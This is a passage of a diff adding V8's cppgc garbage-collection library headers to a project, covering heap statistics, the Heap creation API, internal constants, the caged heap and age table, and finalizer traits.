|
||||
size_t allocated_bytes;
|
||||
/**
|
||||
* Number of allocated objects.
|
||||
*/
|
||||
size_t object_count;
|
||||
};
|
||||
|
||||
/**
|
||||
* Page granularity statistics. For each page the statistics record the
|
||||
* allocated memory size and overall used memory size for the page.
|
||||
*/
|
||||
struct PageStatistics {
|
||||
/** Overall committed amount of memory for the page. */
|
||||
size_t committed_size_bytes = 0;
|
||||
/** Resident amount of memory held by the page. */
|
||||
size_t resident_size_bytes = 0;
|
||||
/** Amount of memory actually used on the page. */
|
||||
size_t used_size_bytes = 0;
|
||||
/** Statistics for object allocated on the page. Filled only when
|
||||
* NameProvider::SupportsCppClassNamesAsObjectNames() is true. */
|
||||
std::vector<ObjectStatsEntry> object_statistics;
|
||||
};
|
||||
|
||||
/**
|
||||
* Statistics of the freelist (used only in non-large object spaces). For
|
||||
* each bucket in the freelist the statistics record the bucket size, the
|
||||
* number of freelist entries in the bucket, and the overall allocated memory
|
||||
* consumed by these freelist entries.
|
||||
*/
|
||||
struct FreeListStatistics {
|
||||
/** bucket sizes in the freelist. */
|
||||
std::vector<size_t> bucket_size;
|
||||
/** number of freelist entries per bucket. */
|
||||
std::vector<size_t> free_count;
|
||||
/** memory size consumed by freelist entries per size. */
|
||||
std::vector<size_t> free_size;
|
||||
};
|
||||
|
||||
/**
|
||||
* Space granularity statistics. For each space the statistics record the
|
||||
* space name, the amount of allocated memory and overall used memory for the
|
||||
* space. The statistics also contain statistics for each of the space's
|
||||
* pages, its freelist and the objects allocated on the space.
|
||||
*/
|
||||
struct SpaceStatistics {
|
||||
/** The space name */
|
||||
std::string name;
|
||||
/** Overall committed amount of memory for the heap. */
|
||||
size_t committed_size_bytes = 0;
|
||||
/** Resident amount of memory held by the heap. */
|
||||
size_t resident_size_bytes = 0;
|
||||
/** Amount of memory actually used on the space. */
|
||||
size_t used_size_bytes = 0;
|
||||
/** Statistics for each of the pages in the space. */
|
||||
std::vector<PageStatistics> page_stats;
|
||||
/** Statistics for the freelist of the space. */
|
||||
FreeListStatistics free_list_stats;
|
||||
};
|
||||
|
||||
/** Overall committed amount of memory for the heap. */
|
||||
size_t committed_size_bytes = 0;
|
||||
/** Resident amount of memory held by the heap. */
|
||||
size_t resident_size_bytes = 0;
|
||||
/** Amount of memory actually used on the heap. */
|
||||
size_t used_size_bytes = 0;
|
||||
/** Detail level of this HeapStatistics. */
|
||||
DetailLevel detail_level;
|
||||
|
||||
/** Statistics for each of the spaces in the heap. Filled only when
|
||||
* `detail_level` is `DetailLevel::kDetailed`. */
|
||||
std::vector<SpaceStatistics> space_stats;
|
||||
|
||||
/**
|
||||
* Vector of `cppgc::GarbageCollected` type names.
|
||||
*/
|
||||
std::vector<std::string> type_names;
|
||||
};
|
||||
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_HEAP_STATISTICS_H_
|
||||
@@ -0,0 +1,202 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_HEAP_H_
|
||||
#define INCLUDE_CPPGC_HEAP_H_
|
||||
|
||||
#include <cstddef>
|
||||
#include <cstdint>
|
||||
#include <memory>
|
||||
#include <vector>
|
||||
|
||||
#include "cppgc/common.h"
|
||||
#include "cppgc/custom-space.h"
|
||||
#include "cppgc/platform.h"
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
/**
|
||||
* cppgc - A C++ garbage collection library.
|
||||
*/
|
||||
namespace cppgc {
|
||||
|
||||
class AllocationHandle;
|
||||
class HeapHandle;
|
||||
|
||||
/**
|
||||
* Implementation details of cppgc. Those details are considered internal and
|
||||
* may change at any point in time without notice. Users should never rely on
|
||||
* the contents of this namespace.
|
||||
*/
|
||||
namespace internal {
|
||||
class Heap;
|
||||
} // namespace internal
|
||||
|
||||
class V8_EXPORT Heap {
|
||||
public:
|
||||
/**
|
||||
* Specifies the stack state the embedder is in.
|
||||
*/
|
||||
using StackState = EmbedderStackState;
|
||||
|
||||
/**
|
||||
* Specifies whether conservative stack scanning is supported.
|
||||
*/
|
||||
enum class StackSupport : uint8_t {
|
||||
/**
|
||||
* Conservative stack scan is supported.
|
||||
*/
|
||||
kSupportsConservativeStackScan,
|
||||
/**
|
||||
* Conservative stack scan is not supported. Embedders may use this option
|
||||
* when using custom infrastructure that is unsupported by the library.
|
||||
*/
|
||||
kNoConservativeStackScan,
|
||||
};
|
||||
|
||||
/**
|
||||
* Specifies supported marking types.
|
||||
*/
|
||||
enum class MarkingType : uint8_t {
|
||||
/**
|
||||
* Atomic stop-the-world marking. This option does not require any write
|
||||
* barriers but is the most intrusive in terms of jank.
|
||||
*/
|
||||
kAtomic,
|
||||
/**
|
||||
* Incremental marking interleaves marking with the rest of the application
|
||||
* workload on the same thread.
|
||||
*/
|
||||
kIncremental,
|
||||
/**
|
||||
* Incremental and concurrent marking.
|
||||
*/
|
||||
kIncrementalAndConcurrent
|
||||
};
|
||||
|
||||
/**
|
||||
* Specifies supported sweeping types.
|
||||
*/
|
||||
enum class SweepingType : uint8_t {
|
||||
/**
|
||||
* Atomic stop-the-world sweeping. All of sweeping is performed at once.
|
||||
*/
|
||||
kAtomic,
|
||||
/**
|
||||
* Incremental sweeping interleaves sweeping with the rest of the
|
||||
* application workload on the same thread.
|
||||
*/
|
||||
kIncremental,
|
||||
/**
|
||||
* Incremental and concurrent sweeping. Sweeping is split and interleaved
|
||||
* with the rest of the application.
|
||||
*/
|
||||
kIncrementalAndConcurrent
|
||||
};
|
||||
|
||||
/**
|
||||
* Constraints for a Heap setup.
|
||||
*/
|
||||
struct ResourceConstraints {
|
||||
/**
|
||||
* Allows the heap to grow to some initial size in bytes before triggering
|
||||
* garbage collections. This is useful when it is known that applications
|
||||
* need a certain minimum heap to run to avoid repeatedly invoking the
|
||||
* garbage collector when growing the heap.
|
||||
*/
|
||||
size_t initial_heap_size_bytes = 0;
|
||||
};
|
||||
|
||||
/**
|
||||
* Options specifying Heap properties (e.g. custom spaces) when initializing a
|
||||
* heap through `Heap::Create()`.
|
||||
*/
|
||||
struct HeapOptions {
|
||||
/**
|
||||
* Creates reasonable defaults for instantiating a Heap.
|
||||
*
|
||||
* \returns the HeapOptions that can be passed to `Heap::Create()`.
|
||||
*/
|
||||
static HeapOptions Default() { return {}; }
|
||||
|
||||
/**
|
||||
* Custom spaces added to heap are required to have indices forming a
|
||||
* numbered sequence starting at 0, i.e., their `kSpaceIndex` must
|
||||
* correspond to the index they reside in the vector.
|
||||
*/
|
||||
std::vector<std::unique_ptr<CustomSpaceBase>> custom_spaces;
|
||||
|
||||
/**
|
||||
* Specifies whether conservative stack scan is supported. When conservative
|
||||
* stack scan is not supported, the collector may try to invoke
|
||||
* garbage collections using non-nestable task, which are guaranteed to have
|
||||
* no interesting stack, through the provided Platform. If such tasks are
|
||||
* not supported by the Platform, the embedder must take care of invoking
|
||||
* the GC through `ForceGarbageCollectionSlow()`.
|
||||
*/
|
||||
StackSupport stack_support = StackSupport::kSupportsConservativeStackScan;
|
||||
|
||||
/**
|
||||
* Specifies which types of marking are supported by the heap.
|
||||
*/
|
||||
MarkingType marking_support = MarkingType::kIncrementalAndConcurrent;
|
||||
|
||||
/**
|
||||
* Specifies which types of sweeping are supported by the heap.
|
||||
*/
|
||||
SweepingType sweeping_support = SweepingType::kIncrementalAndConcurrent;
|
||||
|
||||
/**
|
||||
* Resource constraints specifying various properties that the internal
|
||||
* GC scheduler follows.
|
||||
*/
|
||||
ResourceConstraints resource_constraints;
|
||||
};
|
||||
|
||||
/**
|
||||
* Creates a new heap that can be used for object allocation.
|
||||
*
|
||||
* \param platform implemented and provided by the embedder.
|
||||
* \param options HeapOptions specifying various properties for the Heap.
|
||||
* \returns a new Heap instance.
|
||||
*/
|
||||
static std::unique_ptr<Heap> Create(
|
||||
std::shared_ptr<Platform> platform,
|
||||
HeapOptions options = HeapOptions::Default());
|
||||
|
||||
virtual ~Heap() = default;
|
||||
|
||||
/**
|
||||
* Forces garbage collection.
|
||||
*
|
||||
* \param source String specifying the source (or caller) triggering a
|
||||
* forced garbage collection.
|
||||
* \param reason String specifying the reason for the forced garbage
|
||||
* collection.
|
||||
* \param stack_state The embedder stack state, see StackState.
|
||||
*/
|
||||
void ForceGarbageCollectionSlow(
|
||||
const char* source, const char* reason,
|
||||
StackState stack_state = StackState::kMayContainHeapPointers);
|
||||
|
||||
/**
|
||||
* \returns the opaque handle for allocating objects using
|
||||
* `MakeGarbageCollected()`.
|
||||
*/
|
||||
AllocationHandle& GetAllocationHandle();
|
||||
|
||||
/**
|
||||
* \returns the opaque heap handle which may be used to refer to this heap in
|
||||
* other APIs. Valid as long as the underlying `Heap` is alive.
|
||||
*/
|
||||
HeapHandle& GetHeapHandle();
|
||||
|
||||
private:
|
||||
Heap() = default;
|
||||
|
||||
friend class internal::Heap;
|
||||
};
|
||||
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_HEAP_H_
|
||||
@@ -0,0 +1,68 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_INTERNAL_API_CONSTANTS_H_
|
||||
#define INCLUDE_CPPGC_INTERNAL_API_CONSTANTS_H_
|
||||
|
||||
#include <cstddef>
|
||||
#include <cstdint>
|
||||
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
namespace cppgc {
|
||||
namespace internal {
|
||||
|
||||
// Embedders should not rely on this code!
|
||||
|
||||
// Internal constants to avoid exposing internal types on the API surface.
|
||||
namespace api_constants {
|
||||
|
||||
constexpr size_t kKB = 1024;
|
||||
constexpr size_t kMB = kKB * 1024;
|
||||
constexpr size_t kGB = kMB * 1024;
|
||||
|
||||
// Offset of the uint16_t bitfield from the payload contaning the
|
||||
// in-construction bit. This is subtracted from the payload pointer to get
|
||||
// to the right bitfield.
|
||||
static constexpr size_t kFullyConstructedBitFieldOffsetFromPayload =
|
||||
2 * sizeof(uint16_t);
|
||||
// Mask for in-construction bit.
|
||||
static constexpr uint16_t kFullyConstructedBitMask = uint16_t{1};
|
||||
|
||||
static constexpr size_t kPageSize = size_t{1} << 17;
|
||||
|
||||
#if defined(V8_TARGET_ARCH_ARM64) && defined(V8_OS_DARWIN)
|
||||
constexpr size_t kGuardPageSize = 0;
|
||||
#else
|
||||
constexpr size_t kGuardPageSize = 4096;
|
||||
#endif
|
||||
|
||||
static constexpr size_t kLargeObjectSizeThreshold = kPageSize / 2;
|
||||
|
||||
#if defined(CPPGC_CAGED_HEAP)
|
||||
#if defined(CPPGC_2GB_CAGE)
|
||||
constexpr size_t kCagedHeapReservationSize = static_cast<size_t>(2) * kGB;
|
||||
#else // !defined(CPPGC_2GB_CAGE)
|
||||
constexpr size_t kCagedHeapReservationSize = static_cast<size_t>(4) * kGB;
|
||||
#endif // !defined(CPPGC_2GB_CAGE)
|
||||
constexpr size_t kCagedHeapReservationAlignment = kCagedHeapReservationSize;
|
||||
#endif // defined(CPPGC_CAGED_HEAP)
|
||||
|
||||
static constexpr size_t kDefaultAlignment = sizeof(void*);
|
||||
|
||||
// Maximum support alignment for a type as in `alignof(T)`.
|
||||
static constexpr size_t kMaxSupportedAlignment = 2 * kDefaultAlignment;
|
||||
|
||||
// Granularity of heap allocations.
|
||||
constexpr size_t kAllocationGranularity = sizeof(void*);
|
||||
|
||||
// Default cacheline size.
|
||||
constexpr size_t kCachelineSize = 64;
|
||||
|
||||
} // namespace api_constants
|
||||
|
||||
} // namespace internal
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_INTERNAL_API_CONSTANTS_H_
|
||||
@@ -0,0 +1,48 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_INTERNAL_ATOMIC_ENTRY_FLAG_H_
|
||||
#define INCLUDE_CPPGC_INTERNAL_ATOMIC_ENTRY_FLAG_H_
|
||||
|
||||
#include <atomic>
|
||||
|
||||
namespace cppgc {
|
||||
namespace internal {
|
||||
|
||||
// A flag which provides a fast check whether a scope may be entered on the
|
||||
// current thread, without needing to access thread-local storage or mutex. Can
|
||||
// have false positives (i.e., spuriously report that it might be entered), so
|
||||
// it is expected that this will be used in tandem with a precise check that the
|
||||
// scope is in fact entered on that thread.
|
||||
//
|
||||
// Example:
|
||||
// g_frobnicating_flag.MightBeEntered() &&
|
||||
// ThreadLocalFrobnicator().IsFrobnicating()
|
||||
//
|
||||
// Relaxed atomic operations are sufficient, since:
|
||||
// - all accesses remain atomic
|
||||
// - each thread must observe its own operations in order
|
||||
// - no thread ever exits the flag more times than it enters (if used correctly)
|
||||
// And so if a thread observes zero, it must be because it has observed an equal
|
||||
// number of exits as entries.
|
||||
class AtomicEntryFlag final {
|
||||
public:
|
||||
void Enter() { entries_.fetch_add(1, std::memory_order_relaxed); }
|
||||
void Exit() { entries_.fetch_sub(1, std::memory_order_relaxed); }
|
||||
|
||||
// Returns false only if the current thread is not between a call to Enter
|
||||
// and a call to Exit. Returns true if this thread or another thread may
|
||||
// currently be in the scope guarded by this flag.
|
||||
bool MightBeEntered() const {
|
||||
return entries_.load(std::memory_order_relaxed) != 0;
|
||||
}
|
||||
|
||||
private:
|
||||
std::atomic_int entries_{0};
|
||||
};
|
||||
|
||||
} // namespace internal
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_INTERNAL_ATOMIC_ENTRY_FLAG_H_
|
||||
@@ -0,0 +1,45 @@
|
||||
// Copyright 2022 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_INTERNAL_BASE_PAGE_HANDLE_H_
|
||||
#define INCLUDE_CPPGC_INTERNAL_BASE_PAGE_HANDLE_H_
|
||||
|
||||
#include "cppgc/heap-handle.h"
|
||||
#include "cppgc/internal/api-constants.h"
|
||||
#include "cppgc/internal/logging.h"
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
namespace cppgc {
|
||||
namespace internal {
|
||||
|
||||
// The class is needed in the header to allow for fast access to HeapHandle in
|
||||
// the write barrier.
|
||||
class BasePageHandle {
|
||||
public:
|
||||
static V8_INLINE BasePageHandle* FromPayload(void* payload) {
|
||||
return reinterpret_cast<BasePageHandle*>(
|
||||
(reinterpret_cast<uintptr_t>(payload) &
|
||||
~(api_constants::kPageSize - 1)) +
|
||||
api_constants::kGuardPageSize);
|
||||
}
|
||||
static V8_INLINE const BasePageHandle* FromPayload(const void* payload) {
|
||||
return FromPayload(const_cast<void*>(payload));
|
||||
}
|
||||
|
||||
HeapHandle& heap_handle() { return heap_handle_; }
|
||||
const HeapHandle& heap_handle() const { return heap_handle_; }
|
||||
|
||||
protected:
|
||||
explicit BasePageHandle(HeapHandle& heap_handle) : heap_handle_(heap_handle) {
|
||||
CPPGC_DCHECK(reinterpret_cast<uintptr_t>(this) % api_constants::kPageSize ==
|
||||
api_constants::kGuardPageSize);
|
||||
}
|
||||
|
||||
HeapHandle& heap_handle_;
|
||||
};
|
||||
|
||||
} // namespace internal
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_INTERNAL_BASE_PAGE_HANDLE_H_
|
||||
@@ -0,0 +1,111 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_INTERNAL_CAGED_HEAP_LOCAL_DATA_H_
|
||||
#define INCLUDE_CPPGC_INTERNAL_CAGED_HEAP_LOCAL_DATA_H_
|
||||
|
||||
#include <array>
|
||||
#include <cstddef>
|
||||
#include <cstdint>
|
||||
|
||||
#include "cppgc/internal/api-constants.h"
|
||||
#include "cppgc/internal/caged-heap.h"
|
||||
#include "cppgc/internal/logging.h"
|
||||
#include "cppgc/platform.h"
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
#if __cpp_lib_bitopts
|
||||
#include <bit>
|
||||
#endif // __cpp_lib_bitopts
|
||||
|
||||
#if defined(CPPGC_CAGED_HEAP)
|
||||
|
||||
namespace cppgc {
|
||||
namespace internal {
|
||||
|
||||
class HeapBase;
|
||||
class HeapBaseHandle;
|
||||
|
||||
#if defined(CPPGC_YOUNG_GENERATION)
|
||||
|
||||
// AgeTable is the bytemap needed for the fast generation check in the write
|
||||
// barrier. AgeTable contains entries that correspond to 4096 bytes memory
|
||||
// regions (cards). Each entry in the table represents generation of the objects
|
||||
// that reside on the corresponding card (young, old or mixed).
|
||||
class V8_EXPORT AgeTable final {
|
||||
static constexpr size_t kRequiredSize = 1 * api_constants::kMB;
|
||||
static constexpr size_t kAllocationGranularity =
|
||||
api_constants::kAllocationGranularity;
|
||||
|
||||
public:
|
||||
// Represents age of the objects living on a single card.
|
||||
enum class Age : uint8_t { kOld, kYoung, kMixed };
|
||||
// When setting age for a range, consider or ignore ages of the adjacent
|
||||
// cards.
|
||||
enum class AdjacentCardsPolicy : uint8_t { kConsider, kIgnore };
|
||||
|
||||
static constexpr size_t kCardSizeInBytes =
|
||||
api_constants::kCagedHeapReservationSize / kRequiredSize;
|
||||
|
||||
void SetAge(uintptr_t cage_offset, Age age) {
|
||||
table_[card(cage_offset)] = age;
|
||||
}
|
||||
|
||||
V8_INLINE Age GetAge(uintptr_t cage_offset) const {
|
||||
return table_[card(cage_offset)];
|
||||
}
|
||||
|
||||
void SetAgeForRange(uintptr_t cage_offset_begin, uintptr_t cage_offset_end,
|
||||
Age age, AdjacentCardsPolicy adjacent_cards_policy);
|
||||
|
||||
Age GetAgeForRange(uintptr_t cage_offset_begin,
|
||||
uintptr_t cage_offset_end) const;
|
||||
|
||||
void ResetForTesting();
|
||||
|
||||
private:
|
||||
V8_INLINE size_t card(uintptr_t offset) const {
|
||||
constexpr size_t kGranularityBits =
|
||||
#if __cpp_lib_bitopts
|
||||
std::countr_zero(static_cast<uint32_t>(kCardSizeInBytes));
|
||||
#elif V8_HAS_BUILTIN_CTZ
|
||||
__builtin_ctz(static_cast<uint32_t>(kCardSizeInBytes));
|
||||
#else //! V8_HAS_BUILTIN_CTZ
|
||||
// Hardcode and check with assert.
|
||||
#if defined(CPPGC_2GB_CAGE)
|
||||
11;
|
||||
#else // !defined(CPPGC_2GB_CAGE)
|
||||
12;
|
||||
#endif // !defined(CPPGC_2GB_CAGE)
|
||||
#endif // !V8_HAS_BUILTIN_CTZ
|
||||
static_assert((1 << kGranularityBits) == kCardSizeInBytes);
|
||||
const size_t entry = offset >> kGranularityBits;
|
||||
CPPGC_DCHECK(table_.size() > entry);
|
||||
return entry;
|
||||
}
|
||||
|
||||
std::array<Age, kRequiredSize> table_;
|
||||
};
|
||||
|
||||
static_assert(sizeof(AgeTable) == 1 * api_constants::kMB,
|
||||
"Size of AgeTable is 1MB");
|
||||
|
||||
#endif // CPPGC_YOUNG_GENERATION
|
||||
|
||||
struct CagedHeapLocalData final {
|
||||
V8_INLINE static CagedHeapLocalData& Get() {
|
||||
return *reinterpret_cast<CagedHeapLocalData*>(CagedHeapBase::GetBase());
|
||||
}
|
||||
|
||||
#if defined(CPPGC_YOUNG_GENERATION)
|
||||
AgeTable age_table;
|
||||
#endif
|
||||
};
|
||||
|
||||
} // namespace internal
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // defined(CPPGC_CAGED_HEAP)
|
||||
|
||||
#endif // INCLUDE_CPPGC_INTERNAL_CAGED_HEAP_LOCAL_DATA_H_
|
||||
@@ -0,0 +1,61 @@
|
||||
// Copyright 2022 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_INTERNAL_CAGED_HEAP_H_
|
||||
#define INCLUDE_CPPGC_INTERNAL_CAGED_HEAP_H_
|
||||
|
||||
#include <climits>
|
||||
#include <cstddef>
|
||||
|
||||
#include "cppgc/internal/api-constants.h"
|
||||
#include "cppgc/internal/base-page-handle.h"
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
#if defined(CPPGC_CAGED_HEAP)
|
||||
|
||||
namespace cppgc {
|
||||
namespace internal {
|
||||
|
||||
class V8_EXPORT CagedHeapBase {
|
||||
public:
|
||||
V8_INLINE static uintptr_t OffsetFromAddress(const void* address) {
|
||||
return reinterpret_cast<uintptr_t>(address) &
|
||||
(api_constants::kCagedHeapReservationAlignment - 1);
|
||||
}
|
||||
|
||||
V8_INLINE static bool IsWithinCage(const void* address) {
|
||||
CPPGC_DCHECK(g_heap_base_);
|
||||
return (reinterpret_cast<uintptr_t>(address) &
|
||||
~(api_constants::kCagedHeapReservationAlignment - 1)) ==
|
||||
g_heap_base_;
|
||||
}
|
||||
|
||||
V8_INLINE static bool AreWithinCage(const void* addr1, const void* addr2) {
|
||||
#if defined(CPPGC_2GB_CAGE)
|
||||
static constexpr size_t kHalfWordShift = sizeof(uint32_t) * CHAR_BIT - 1;
|
||||
#else //! defined(CPPGC_2GB_CAGE)
|
||||
static constexpr size_t kHalfWordShift = sizeof(uint32_t) * CHAR_BIT;
|
||||
#endif //! defined(CPPGC_2GB_CAGE)
|
||||
static_assert((static_cast<size_t>(1) << kHalfWordShift) ==
|
||||
api_constants::kCagedHeapReservationSize);
|
||||
CPPGC_DCHECK(g_heap_base_);
|
||||
return !(((reinterpret_cast<uintptr_t>(addr1) ^ g_heap_base_) |
|
||||
(reinterpret_cast<uintptr_t>(addr2) ^ g_heap_base_)) >>
|
||||
kHalfWordShift);
|
||||
}
|
||||
|
||||
V8_INLINE static uintptr_t GetBase() { return g_heap_base_; }
|
||||
|
||||
private:
|
||||
friend class CagedHeap;
|
||||
|
||||
static uintptr_t g_heap_base_;
|
||||
};
|
||||
|
||||
} // namespace internal
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // defined(CPPGC_CAGED_HEAP)
|
||||
|
||||
#endif // INCLUDE_CPPGC_INTERNAL_CAGED_HEAP_H_
|
||||
@@ -0,0 +1,38 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_INTERNAL_COMPILER_SPECIFIC_H_
|
||||
#define INCLUDE_CPPGC_INTERNAL_COMPILER_SPECIFIC_H_
|
||||
|
||||
namespace cppgc {
|
||||
|
||||
#if defined(__has_attribute)
|
||||
#define CPPGC_HAS_ATTRIBUTE(FEATURE) __has_attribute(FEATURE)
|
||||
#else
|
||||
#define CPPGC_HAS_ATTRIBUTE(FEATURE) 0
|
||||
#endif
|
||||
|
||||
#if defined(__has_cpp_attribute)
|
||||
#define CPPGC_HAS_CPP_ATTRIBUTE(FEATURE) __has_cpp_attribute(FEATURE)
|
||||
#else
|
||||
#define CPPGC_HAS_CPP_ATTRIBUTE(FEATURE) 0
|
||||
#endif
|
||||
|
||||
// [[no_unique_address]] comes in C++20 but supported in clang with -std >=
|
||||
// c++11.
|
||||
#if CPPGC_HAS_CPP_ATTRIBUTE(no_unique_address)
|
||||
#define CPPGC_NO_UNIQUE_ADDRESS [[no_unique_address]]
|
||||
#else
|
||||
#define CPPGC_NO_UNIQUE_ADDRESS
|
||||
#endif
|
||||
|
||||
#if CPPGC_HAS_ATTRIBUTE(unused)
|
||||
#define CPPGC_UNUSED __attribute__((unused))
|
||||
#else
|
||||
#define CPPGC_UNUSED
|
||||
#endif
|
||||
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_INTERNAL_COMPILER_SPECIFIC_H_
|
||||
@@ -0,0 +1,93 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_INTERNAL_FINALIZER_TRAIT_H_
|
||||
#define INCLUDE_CPPGC_INTERNAL_FINALIZER_TRAIT_H_
|
||||
|
||||
#include <type_traits>
|
||||
|
||||
#include "cppgc/type-traits.h"
|
||||
|
||||
namespace cppgc {
|
||||
namespace internal {
|
||||
|
||||
using FinalizationCallback = void (*)(void*);
|
||||
|
||||
template <typename T, typename = void>
|
||||
struct HasFinalizeGarbageCollectedObject : std::false_type {};
|
||||
|
||||
template <typename T>
|
||||
struct HasFinalizeGarbageCollectedObject<
|
||||
T,
|
||||
std::void_t<decltype(std::declval<T>().FinalizeGarbageCollectedObject())>>
|
||||
: std::true_type {};
|
||||
|
||||
// The FinalizerTraitImpl specifies how to finalize objects.
|
||||
template <typename T, bool isFinalized>
|
||||
struct FinalizerTraitImpl;
|
||||
|
||||
template <typename T>
|
||||
struct FinalizerTraitImpl<T, true> {
|
||||
private:
|
||||
// Dispatch to custom FinalizeGarbageCollectedObject().
|
||||
struct Custom {
|
||||
static void Call(void* obj) {
|
||||
static_cast<T*>(obj)->FinalizeGarbageCollectedObject();
|
||||
}
|
||||
};
|
||||
|
||||
// Dispatch to regular destructor.
|
||||
struct Destructor {
|
||||
static void Call(void* obj) { static_cast<T*>(obj)->~T(); }
|
||||
};
|
||||
|
||||
using FinalizeImpl =
|
||||
std::conditional_t<HasFinalizeGarbageCollectedObject<T>::value, Custom,
|
||||
Destructor>;
|
||||
|
||||
public:
|
||||
static void Finalize(void* obj) {
|
||||
static_assert(sizeof(T), "T must be fully defined");
|
||||
FinalizeImpl::Call(obj);
|
||||
}
|
||||
};
|
||||
|
||||
template <typename T>
|
||||
struct FinalizerTraitImpl<T, false> {
|
||||
static void Finalize(void* obj) {
|
||||
static_assert(sizeof(T), "T must be fully defined");
|
||||
}
|
||||
};
|
||||
|
||||
// The FinalizerTrait is used to determine if a type requires finalization and
|
||||
// what finalization means.
|
||||
template <typename T>
|
||||
struct FinalizerTrait {
|
||||
private:
|
||||
// Object has a finalizer if it has
|
||||
// - a custom FinalizeGarbageCollectedObject method, or
|
||||
// - a destructor.
|
||||
static constexpr bool kNonTrivialFinalizer =
|
||||
internal::HasFinalizeGarbageCollectedObject<T>::value ||
|
||||
!std::is_trivially_destructible<typename std::remove_cv<T>::type>::value;
|
||||
|
||||
static void Finalize(void* obj) {
|
||||
internal::FinalizerTraitImpl<T, kNonTrivialFinalizer>::Finalize(obj);
|
||||
}
|
||||
|
||||
public:
|
||||
static constexpr bool HasFinalizer() { return kNonTrivialFinalizer; }
|
||||
|
||||
// The callback used to finalize an object of type T.
|
||||
static constexpr FinalizationCallback kCallback =
|
||||
kNonTrivialFinalizer ? Finalize : nullptr;
|
||||
};
|
||||
|
||||
template <typename T>
|
||||
constexpr FinalizationCallback FinalizerTrait<T>::kCallback;
|
||||
|
||||
} // namespace internal
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_INTERNAL_FINALIZER_TRAIT_H_
|
||||
@@ -0,0 +1,157 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_INTERNAL_GC_INFO_H_
|
||||
#define INCLUDE_CPPGC_INTERNAL_GC_INFO_H_
|
||||
|
||||
#include <atomic>
|
||||
#include <cstdint>
|
||||
#include <type_traits>
|
||||
|
||||
#include "cppgc/internal/finalizer-trait.h"
|
||||
#include "cppgc/internal/logging.h"
|
||||
#include "cppgc/internal/name-trait.h"
|
||||
#include "cppgc/trace-trait.h"
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
namespace cppgc {
|
||||
namespace internal {
|
||||
|
||||
using GCInfoIndex = uint16_t;
|
||||
|
||||
struct V8_EXPORT EnsureGCInfoIndexTrait final {
|
||||
// Acquires a new GC info object and updates `registered_index` with the index
|
||||
// that identifies that new info accordingly.
|
||||
template <typename T>
|
||||
V8_INLINE static void EnsureIndex(
|
||||
std::atomic<GCInfoIndex>& registered_index) {
|
||||
EnsureGCInfoIndexTraitDispatch<T>{}(registered_index);
|
||||
}
|
||||
|
||||
private:
|
||||
template <typename T, bool = std::is_polymorphic<T>::value,
|
||||
bool = FinalizerTrait<T>::HasFinalizer(),
|
||||
bool = NameTrait<T>::HasNonHiddenName()>
|
||||
struct EnsureGCInfoIndexTraitDispatch;
|
||||
|
||||
static void V8_PRESERVE_MOST
|
||||
EnsureGCInfoIndexPolymorphic(std::atomic<GCInfoIndex>&, TraceCallback,
|
||||
FinalizationCallback, NameCallback);
|
||||
static void V8_PRESERVE_MOST EnsureGCInfoIndexPolymorphic(
|
||||
std::atomic<GCInfoIndex>&, TraceCallback, FinalizationCallback);
|
||||
static void V8_PRESERVE_MOST EnsureGCInfoIndexPolymorphic(
|
||||
std::atomic<GCInfoIndex>&, TraceCallback, NameCallback);
|
||||
static void V8_PRESERVE_MOST
|
||||
EnsureGCInfoIndexPolymorphic(std::atomic<GCInfoIndex>&, TraceCallback);
|
||||
static void V8_PRESERVE_MOST
|
||||
EnsureGCInfoIndexNonPolymorphic(std::atomic<GCInfoIndex>&, TraceCallback,
|
||||
FinalizationCallback, NameCallback);
|
||||
static void V8_PRESERVE_MOST EnsureGCInfoIndexNonPolymorphic(
|
||||
std::atomic<GCInfoIndex>&, TraceCallback, FinalizationCallback);
|
||||
